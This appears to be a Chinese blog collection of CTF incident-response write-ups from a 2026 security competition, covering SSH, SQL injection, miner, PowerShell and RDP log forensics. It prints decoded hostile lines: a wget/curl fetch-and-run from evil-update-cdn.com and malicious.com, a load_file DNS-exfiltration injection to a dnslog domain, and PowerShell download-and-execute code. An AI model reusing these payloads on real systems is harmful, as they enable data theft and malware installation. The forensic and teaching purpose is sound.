hex_payload = re.search(r'a1="([0-9a-f]+)"', log).group(1)
cmd = bytes.fromhex(hex_payload).decode()
print("[*] Decoded:", cmd)
script = re.search(r'/([^/\s]+\.sh)', cmd).group(1)
perm = re.search(r'chmod\s+(\d+)', cmd).group(1)
# 防火墙 SRC/SPT 与 SSH Accepted 记录交叉验证
ufw = re.search(r'SRC=(\S+).*SPT=(\d+).*DPT=22', log)
fw_ip, fw_port = ufw.group(1), ufw.group(2)
assert re.search(
rf'Accepted password for admin from {re.escape(fw_ip)} port {fw_port}',
log,
)
flag = f"flag{{{fw_ip}_{script}_{perm}}}"
print("[+]", flag)

运行输出:

[*] Decoded: wget http://malicious.com/update.sh -O /tmp/update.sh && chmod 755 /tmp/update.sh
[+] flag{203.0.113.88_update.sh_755}

关键证据:

时间日志含义
02:01:03UFW ALLOW SRC=203.0.113.88 SPT=52341 DPT=22防火墙记录真实入站连接
02:01:51Accepted password for admin from 203.0.113.88 port 52341SSH 成功登录,IP 与端口一致
02:02:05sh -c "echo '<hex>' | xxd -p -r | bash"执行混淆后的恶意命令

易错点: 193.106.30.99 虽有大量爆破与一条成功登录,但无防火墙佐证;10.0.0.x / 192.168.1.x 为内网干扰项。应以防火墙 SRC + SPT 关联 SSH port 作为 ground truth。

Flag#

flag{203.0.113.88_update.sh_755}

Sql注入的应急排查#

题目信息#

  • 附件文件:access.log
  • 日志类型:Web 访问日志
  • 攻击类型:SQL 注入扫描与 DNS 外带
  • Flag 格式:flag{abc.xyz.cn}
  • 最终 Flag:flag{p9fin2.dnslog.cn}

背景描述#

某企业安全团队在日常运维过程中发现 WAF 告警,业务系统遭受大量 SQL 注入扫描。虽然大部分扫描请求被 WAF 拦截,但数据库服务器随后出现异常 DNS 查询记录。结合 Web 访问日志,需要判断攻击者是否通过 SQL 注入触发了数据库服务器的 DNS 查询,并找出攻击者用于接收外带数据的域名。

排查思路#

SQL 注入结合 DNS 外带时,攻击者通常会让数据库服务器解析一个由敏感数据拼接出来的域名。例如在 MySQL 场景中,可能通过 load_file() 读取 UNC 路径:

load_file(concat('\\\\', 数据库查询结果, '.攻击者域名\\abc'))

如果数据库服务器尝试访问该 UNC 路径,就会触发 DNS 解析,敏感信息会出现在子域名中,从而被攻击者控制的 DNSLog 平台记录。

因此排查重点包括:

  • SQL 注入关键字:selectunionsleepbenchmark
  • 文件读取函数:load_file
  • DNS 外带常见平台:dnslog
  • UNC 路径特征:\\\\%5C%5C
  • 被 WAF 拦截失败或响应码为 200 的可疑请求

日志分析#

首先查看日志规模和格式,发现 access.log 共有 45003 行,请求格式为常见 Nginx/Apache access log:

10.0.0.10 - - [20/May/2024:14:00:00 +0800] "GET /product?id=1000 HTTP/1.1" 200 2431 "https://www.baidu.com/" "Mozilla/5.0 ..."

大量 SQL 注入扫描请求来自 103.56.12.87,例如:

103.56.12.87 - - [20/May/2024:14:00:00 +0800] "GET /product?id=1' and '1'='1 HTTP/1.1" 403 1024 "-" "Mozilla/5.0"

这些请求返回 403,说明大部分扫描确实被拦截。

继续检索 load_filednslogselect%5C 等特征,发现关键日志位于第 43271 行:

203.0.113.88 - - [20/May/2024:14:02:30 +0800] "GET /search?q=1%27%20AND%20(SELECT%20load_file(concat(%27%5C%5C%5C%5C%27,(select%20database()),%27.p9fin2.dnslog.cn%5C%5Cabc%27)))%20--%20 HTTP/1.1" 200 5000 "-" "Mozilla/5.0"

对 URL 编码后的参数进行还原:

/search?q=1' AND (SELECT load_file(concat('\\\\',(select database()),'.p9fin2.dnslog.cn\\abc'))) --

该 payload 的含义是:

SELECT load_file(
concat(
'\\\\',
(select database()),
'.p9fin2.dnslog.cn\\abc'
)
)

攻击者通过 (select database()) 获取当前数据库名,并将其拼接到 p9fin2.dnslog.cn 的子域名前面。数据库服务器在解析该 UNC 路径时,会向攻击者控制的 DNSLog 域名发起 DNS 查询,从而完成数据外带。

关键结论#

该请求返回状态码为 200,与大量被拦截的 403 扫描请求不同,说明该条 SQL 注入 payload 很可能绕过了 WAF 检测并被后端执行。

攻击者用于接收 DNS 外带数据的域名为:

p9fin2.dnslog.cn

Flag#

flag{p9fin2.dnslog.cn}

应急处置建议#

  1. 203.0.113.88 相关访问记录进行溯源,确认是否存在更多绕过型 payload。
  2. 检查数据库服务器 DNS 查询日志,确认是否解析过 *.p9fin2.dnslog.cn
  3. 排查 /search 接口参数 q 是否存在 SQL 注入漏洞。
  4. 对数据库账号权限进行收敛,避免 Web 业务账号具备不必要的文件访问能力。
  5. 在 WAF 规则中补充对 load_file、UNC 路径、dnslog、双重编码反斜杠等特征的检测。
  6. 对业务代码使用参数化查询,避免直接拼接用户输入进入 SQL 语句。

挖矿病毒处置#

Summary#

题目给出一个高度混淆的 Linux 恶意脚本 sd-pam.sh。脚本采用双层 Base64 编码隐藏真实行为:第一层仅输出伪装日志,第二层生成临时下载器脚本,通过 curl 从远程域名拉取挖矿程序。解出第二层脚本后,再对域名变量做一次 Base64 解码即可得到 flag。

Solution#

Step 1: 识别脚本结构#

打开 sd-pam.sh,可见两类混淆变量:

变量组拼接后操作作用
_sysc4 ~ _l0gzzbase64 -deval伪装行为,输出 [Info] System updated/dev/null
_kmodx ~ _xxlog拼接 → base64 -d → 写入 /tmp/.sd-pam.$$ 并执行真正的恶意载荷

关键代码:

_rX=$(echo ${_sysc4}${_devk8}... | base64 -d)
eval "$_rX" >/dev/null 2>&1 # 第一层:迷惑性输出
_journal=$(echo ${_kmodx}${_netd0}... | tr -d '\n')
echo ${_journal} | base64 -d > /tmp/.sd-pam.$$
bash /tmp/.sd-pam.$$ # 第二层:下载并运行挖矿程序

Step 2: 解码第二层载荷#

_kmodx_xxlog 按顺序拼接后 Base64 解码,得到内层下载脚本:

#!/bin/bash
A1="ZXZpbC11cGRhdGUtY2RuLmNvbQ=="
D=$(echo ${A1} | base64 -d)
URL="http://${D}/.sysd"
curl -fsSL ${URL} -o /tmp/.sysd
chmod +x /tmp/.sysd
nohup /tmp/.syst >/dev/null 2>&1 &

攻击链清晰:curlhttp://<域名>/.sysd 下载二进制,保存为 /tmp/.sysd,赋予执行权限后在后台运行(对应题目中的 kdevtmpfsi 挖矿进程)。

Step 3: 提取恶意域名#

对变量 A1 做 Base64 解码:

ZXZpbC11cGRhdGUtY2RuLmNvbQ== → evil-update-cdn.com

一键解题脚本#

import base64
# 第二层载荷(sd-pam.sh 中 _kmodx ~ _xxlog 拼接结果)
stage2_b64 = (
"IyEvYmluL2Jhc2gKQTE9IlpYWnBiQzExY0dSaGRHVXRZMlJ1TG1OdmJRPT0iCk"
"Q9JChlY2hvICR7QTF9IHwgYmFzZTY0IC1kKQpVUkw9Imh0dHA6Ly8ke0R9Ly5z"
"eXNkIgpjdXJsIC1mc1NMICR7VVJMfSAtbyAvdG1wLy5zeXNkCmNobW9kICt4IC90"
"bXAvLnN5c2QKbm9odXAgL3RtcC8uc3lzdCA+L2Rldi9udWxsIDI+JjEgJgo="
)
stage2 = base64.b64decode(stage2_b64).decode()
print("=== 第二层脚本 ===")
print(stage2)
# 从 A1 变量提取域名
import re
m = re.search(r'A1="([^"]+)"', stage2)
domain = base64.b64decode(m.group(1)).decode()
print(f"\n=== 恶意域名 ===\n{domain}")
print(f"\nflag{{{domain}}}")

运行输出:

=== 第二层脚本 ===
#!/bin/bash
A1="ZXZpbC11cGRhdGUtY2RuLmNvbQ=="
D=$(echo ${A1} | base64 -d)
URL="http://${D}/.sysd"
curl -fsSL ${URL} -o /tmp/.sysd
...
=== 恶意域名 ===
evil-update-cdn.com
flag{evil-update-cdn.com}

Flag#

flag{evil-update-cdn.com}

深夜更新#

Summary#

题目提供一份可疑 PowerShell 脚本 update.ps1,经多层混淆后隐藏了恶意下载地址。通过静态还原 Base64 → Gzip → XOR → 字符替换,即可提取攻击者用于下载恶意程序的域名。

Solution#

Step 1: 识别脚本行为与混淆层次#

脚本整体是典型的 下载执行(Download & Execute) 载荷,执行流程如下:

  1. 用 ASCII 码数组拼接敏感 API 名称(iexNew-ObjectNet.WebClient),规避静态字符串检测
  2. 对嵌入的 Base64 字符串做解码,再用 GzipStream 解压
  3. 对解压结果逐字节 XOR 23
  4. 做字符替换:%h!t@p(用于还原 http://
  5. | 分割,取第一段作为下载 URL
  6. 调用 Net.WebClient.DownloadFile 将文件保存到 %TEMP%\winupd.exe,随后 Start-Process 执行

关键代码片段:

Terminal window
${_7hH} = 'H4sIAJLU/mkC/zMyMwvXtbAoSqyrtkpKLy5LLrIqKa60LKmosoBwLYvyi7LzAaIZrJonAAAA'
# ... Base64 解码 + Gzip 解压 ...
${_jM9} += [char](([byte][char]${_eW3}[$_]) -bxor 23)
${_pT6} = ${_kL2}.Replace('%','h').Replace('!','t').Replace('@','p')
${_yN5}.DownloadFile(${_qX4}, ${_cR7})
Start-Process ${_cR7}

Step 2: 静态解密提取下载 URL#

按脚本逻辑逆序还原嵌入载荷,得到完整下载地址及域名。

import base64
import gzip
from urllib.parse import urlparse
B64 = "H4sIAJLU/mkC/zMyMwvXtbAoSqyrtkpKLy5LLrIqKa60LKmosoBwLYvyi7LzAaIZrJonAAAA"
raw = gzip.decompress(base64.b64decode(B64)).decode()
xored = "".join(chr(ord(c) ^ 23) for c in raw)
url = xored.replace("%", "h").replace("!", "t").replace("@", "p").split("|")[0]
domain = urlparse(url).hostname
print("decoded:", xored)
print("url:", url)
print("domain:", domain)
print(f"flag{{{domain}}}")

运行输出:

decoded: %!!@://evil-update-cdn.com/update.exe|x
url: http://evil-update-cdn.com/update.exe
domain: evil-update-cdn.com
flag{evil-update-cdn.com}

攻击者将恶意程序托管在 evil-update-cdn.com,伪装成系统更新 CDN 域名,下载路径为 /update.exe

Flag#

flag{evil-update-cdn.com}

不安全的远程桌面#

Summary#

题目提供 Windows 安全事件日志 Security_log.xml,需从 RDP 暴力破解行为中定位攻击源 IP 与成功登录账号。核心思路是筛选 LogonType=10 的登录事件,统计 4625 失败来源 IP,并关联后续 4624 成功登录。

Solution#

Step 1: 识别 RDP 相关事件#

Windows 安全日志中与远程桌面登录相关的关键事件 ID:

Event ID含义
4625登录失败
4624登录成功
4740账户被锁定
4634注销

RDP 登录的 LogonType10(RemoteInteractive)。日志中来源 IP 字段名为 SourceNetworkAddress(不是 IpAddress)。

Step 2: 统计失败登录来源 IP#

EventID=4625LogonType=10 的事件按 SourceNetworkAddress 聚合:

源 IP失败次数
192.168.10.3155
192.168.10.775
192.168.10.283
其他≤3

192.168.10.3 发起 155 次 RDP 失败登录,远超其他地址,为暴力破解攻击源。

Step 3: 关联成功登录#

攻击时间线(2026-05-11,节选):

09:06:19 4625 administrator 192.168.10.3 失败
09:06:41 4740 administrator 账户锁定
...
09:55:04 4625 administrator 192.168.10.3 失败(持续爆破)
10:00:33 4624 administrator 192.168.10.3 成功 ← 首次成功
10:02:46 4624 administrator 192.168.10.3 成功(再次登录)

同一源 IP 在大量 4625 失败后出现 4624 成功登录,目标账号为 administrator

解题脚本#

import xml.etree.ElementTree as ET
from collections import Counter
tree = ET.parse("Security_log.xml")
root = tree.getroot()
failures = [] # (ip, username)
successes = [] # (ip, username, time)
for event in root.findall("Event"):
eid = event.findtext("System/EventID")
if eid not in ("4624", "4625"):
continue
data = {d.get("Name"): (d.text or "") for d in event.findall("EventData/Data")}
if data.get("LogonType") != "10":
continue
ip = data.get("SourceNetworkAddress", "")
user = data.get("TargetUserName", "")
time = event.findtext("System/TimeCreated").get("SystemTime", "")
if eid == "4625" and ip:
failures.append((ip, user))
elif eid == "4624" and ip:
successes.append((ip, user, time))
# 攻击源:失败次数最多的 IP
attacker_ip = Counter(ip for ip, _ in failures).most_common(1)[0][0]
# 该 IP 首次成功登录的账号
for ip, user, t in sorted(successes, key=lambda x: x[2]):
if ip == attacker_ip:
print(f"flag{{{attacker_ip}_{user}}}")
break

运行输出:

flag{192.168.10.3_administrator}

Flag#

flag{192.168.10.3_administrator}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

2026CCF网络安全运维赛道Writeup
http://blog.azkanna.cn/posts/all/ccf-writeup合集/
作者
AzazelKanna
发布于
2026-06-15
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录